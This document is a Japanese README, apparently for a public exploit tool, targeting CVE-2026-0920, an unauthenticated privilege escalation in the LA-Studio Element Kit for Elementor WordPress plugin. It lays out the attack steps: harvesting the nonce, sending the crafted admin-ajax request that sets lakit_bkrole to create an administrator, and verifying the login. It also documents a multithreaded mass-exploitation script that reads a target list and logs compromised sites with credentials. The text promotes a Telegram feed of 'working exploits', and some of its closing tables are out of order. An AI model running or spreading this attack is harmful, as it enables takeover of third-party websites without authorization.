
LA-Studio Element Kit for Elementor <= 1.5.6.3 - lakit_bkrole パラメータを介したバックドアによる認証なし権限昇格(管理者ユーザー作成)
_____ _____ ___ __ ___ __ __ ___ ___ __
/ __\ \ / / __|_|_ ) \_ )/ / ___ / \/ _ \_ ) \
| (__ \ V /| _|___/ / () / // _ \___| () \_, // / () |
\___| \_/ |___| /___\__/___\___/ \__/ /_//___\__/
📡 エクスプロイトはここで最初に公開されます。 Telegram で @KNxploited をフォロー — 新しく公開された CVE、動作する PoC、精密なセキュリティ研究のためのエリートフィード。絶え間なく更新。先を行く人のために作られました。
CVE-2026-0920 は、WordPress プラグイン LA-Studio Element Kit for Elementor で発見された CVSS 9.8 Critical の脆弱性です。
この欠陥は、AJAX 経由で認証なしのユーザー登録を処理する ajax_register_handle() 関数に存在します。この関数は lakit_bkrole パラメータに対して何の制限も適用しないため、完全に認証されていない攻撃者が登録時に administrator ロールを自分自身に割り当てることができ、単一のリクエストで WordPress 管理者権限を完全に乗っ取ることが可能になります。
根本原因は、プラグインの AJAX 登録ハンドラ内でロール権限チェックが欠落していることです:
// Registered with no authentication requirement
add_action('wp_ajax_nopriv_lakit_ajax', [$this, 'ajax_register_handle']);
public function ajax_register_handle() {
$actions = json_decode(stripslashes($_POST['actions']), true);
foreach ($actions as $req) {
if ($req['action'] === 'register') {
$data = $req['data'];
$user_data = [
'user_login' => $data['username'],
'user_pass' => $data['password'],
'user_email' => $data['email'],
'role' => $data['lakit_bkrole'], // ← ATTACKER CONTROLLED
];
// No validation of $data['lakit_bkrole'] against allowed roles
wp_insert_user($user_data); // Administrator created silently
}
}
}
なぜこれが致命的なのか:
wp_ajax_nopriv_* = 認証ゼロの誰でもアクセス可能lakit_bkrole は administrator を含む任意の WordPress ロール文字列を受け入れるStep 1 — Nonce Harvesting
──────────────────────────────────────────────────────────────────────
GET / (or /index.php, /home, /?page_id=1)
Search HTML/JS for:
"ajaxNonce": "<value>" ← Inline JSON config
ajaxNonce: '<value>' ← JS variable
data-ajaxnonce="<value>" ← HTML attribute
Nonce is publicly accessible — no login required.
↓
ajaxNonce extracted ✔️
──────────────────────────────────────────────────────────────────────
Step 2 — Admin Account Registration
──────────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
action = lakit_ajax
_nonce = <extracted nonce>
actions = {
"req1": {
"action": "register",
"data": {
"email": "[email protected]",
"password": "adminSA",
"username": "Nx_admin",
"lakit_field_log": "yes", ← use supplied username
"lakit_field_pwd": "yes", ← use supplied password
"lakit_field_cpwd": "no", ← skip password confirm
"lakit_bkrole": "1", ← trigger admin role injection
"lakit_recaptcha_response": ""
}
}
}
↓
Administrator account silently created ✔️
──────────────────────────────────────────────────────────────────────
Step 3 — Full Admin Verification
──────────────────────────────────────────────────────────────────────
POST /wp-login.php
log = Nx_admin
pwd = adminSA
↓
Session cookies obtained → GET /wp-admin/plugin-install.php
↓
Plugin install page accessible = CONFIRMED FULL ADMIN ✔️
pip install requests colorama
| 依存関係 | 目的 |
|---|---|
requests | HTTP リクエスト、セッション処理、Cookie 管理 |
colorama | 全プラットフォームでのカラー化されたターミナル出力 |
threading |
Python 3.10+ を推奨(
str | Noneユニオン型ヒントを使用)。
CVE-2026-0920/
├── CVE-2026-0920.py # Main exploit script
├── list.txt # Target URLs — one per line
├── success_results.txt # Auto-generated: pwned targets + credentials
CVE-2026-0920.py を開き、上部の定数を編集して希望する管理者アカウントの詳細を設定します:
ADMIN_EMAIL = "[email protected]" # Email for the new admin account
ADMIN_PASSWORD = "adminSA" # Password for the new admin account
ADMIN_USERNAME = "Nx_admin" # Username for the new admin account
ターゲット URL を 1 行に 1 つずつ記載した list.txt を作成します:
https://target1.com
https://target2.com
http://target3.com
スキームのない URL には自動的に
https://がプレフィックスとして付加されます。
python CVE-2026-0920.py
以下のプロンプトが表示されます:
Enter targets list filename (e.g. list.txt): list.txt
Enter number of threads (1-50): 20
スクリプトはリアルタイムで色分けされたターミナル出力を生成します:
[14:22:01] [*] https://target.com - Starting target
[14:22:02] [+] https://target.com - kay: a4f9c2b1e3
[14:22:02] [*] https://target.com - AJAX HTTP status: 200
[14:22:03] [+] https://target.com - AJAX response indicates success
[14:22:04] [*] https://target.com - Full admin verification: OK
============================================================
[ SUCCESS BLOCK ]
Site : https://target.com
Result : SUCCESS
AJAX OK : YES
FULL ADMIN : YES (login + plugin install access)
============================================================
| 色 | 意味 |
|---|---|
🔵 シアン [*] | 情報 — 処理中のステップ |
成功したエクスプロイトは success_results.txt に書き込まれます:
https://victim.com | USERNAME:Nx_admin | EMAIL:[email protected] | PASSWORD:adminSA | LOGIN:FULL_ADMIN_OK | RESP_SUCCESS:YES | NONCE:a4f9c2b1e3
各行には、ターゲット、認証情報、ログインステータス、AJAX レスポンスステータス、使用された nonce という完全な情報が含まれます。
スクリプトは誤検知を排除するため、2 段階の検証を実行します:
Stage 1 — AJAX Response Analysis
Checks for success markers in the JSON response:
• "created successfully"
• "success":true
• "type":"success"
• "status":"success"
Stage 2 — Real Login + Plugin Install Access Test
1. POST /wp-login.php with injected credentials
2. GET /wp-admin/plugin-install.php
3. Confirm 200 response + plugin upload form present
4. Confirm no redirect back to wp-login.php
Only BOTH stages passing = TRUE SUCCESS reported
これにより、AJAX では 200 OK を返すものの登録が暗黙的に失敗するサイトによる誤検知が排除されます。
このエクスプロイトは特定のネットワークパターンを生成します — 防御者と WAF 作成者向け:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=lakit_ajax&_nonce=<VALUE>&actions={"req1":{"action":"register","data":{...,"lakit_bkrole":"1",...}}}
WAF / IDS ルール(疑似コード):
IF request.method == POST
AND request.path == "/wp-admin/admin-ajax.php"
AND request.body CONTAINS "lakit_ajax"
AND request.body CONTAINS "lakit_bkrole"
THEN BLOCK + ALERT (Privilege Escalation Attempt — CVE-2026-0920)
サイト運営者、開発者、または防御者の方は、直ちに対処してください:
lakit_bkrole を含む admin-ajax.php への認証なし POST リクエストをブロックするlakit_ajax AJAX アクション呼び出しを監視するTHIS TOOL IS PROVIDED STRICTLY FOR EDUCATIONAL, AUTHORIZED PENETRATION
TESTING, AND SECURITY RESEARCH PURPOSES ONLY.
By downloading, executing, or modifying this script, you explicitly agree:
• You hold EXPLICIT, WRITTEN authorization from the owner of every
target system you test. No exceptions. No grey areas.
• You are operating within a formally scoped, authorized penetration
testing engagement or a controlled lab environment.
• You will NOT use this tool against any system, network, or
infrastructure without documented legal permission.
• Nxploited and all contributors bear ZERO liability for unauthorized
use, data loss, system damage, legal proceedings, or criminal
prosecution arising from the use of this tool.
Unauthorized use of this exploit constitutes a criminal offense under:
— Computer Fraud and Abuse Act (CFAA), USA
— Computer Misuse Act (CMA), UK
— EU Directive 2013/40/EU on Attacks Against Information Systems
— Saudi Arabia's Anti-Cyber Crime Law (No. M/17)
— And all equivalent national and international cybercrime legislation.
USE RESPONSIBLY. HACK ETHICALLY. DISCLOSE RESPONSIBLY.
| ハンドル | Nxploited |
| Telegram | @KNxploited |
| GitHub | github.com/Nxploited |
🔔 Telegram で @KNxploited をフォロー 新しい CVE。動作するエクスプロイト。ディープダイブな脆弱性研究。 最初に知る。最初に行動する。最後になるな。
| フィールド | 詳細 |
|---|
| CVE ID | CVE-2026-0920 |
| プラグイン | LA-Studio Element Kit for Elementor |
| スラッグ | lakit / la-studio-element-kit-for-elementor |
| 影響を受けるバージョン | 1.5.6.3 までの全バージョン |
| 脆弱性の種類 | 認証なし権限昇格 / 管理者作成 |
| 攻撃ベクトル | ネットワーク — 認証不要 |
| CVSS 3.1 スコア | 9.8 CRITICAL |
| CVSS ベクター | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| 影響 | WordPress 管理者アカウントの完全な乗っ取り |
| 研究者 | Nxploited |
| 複数ターゲットの並行処理 |
re | HTML/JS からの正規表現ベースの nonce 抽出 |
🟢 グリーン [+] | 肯定的信号 — 部分成功または完全成功 |
🟡 イエロー [!] | 警告 — 曖昧な結果、要確認 |
🔴 レッド [-] | 失敗 — ターゲットが悪用不可またはエラー |
| パラメータ | デフォルト | 説明 |
|---|
| ターゲットファイル | list.txt | ターゲット URL を含むファイル |
| スレッド数 | 10(最大:50) | 並行ワーカー数 |
ADMIN_EMAIL | [email protected] | 注入する管理者アカウントのメールアドレス |
ADMIN_PASSWORD | adminSA | 注入する管理者アカウントのパスワード |
ADMIN_USERNAME | Nx_admin | 注入する管理者アカウントのユーザー名 |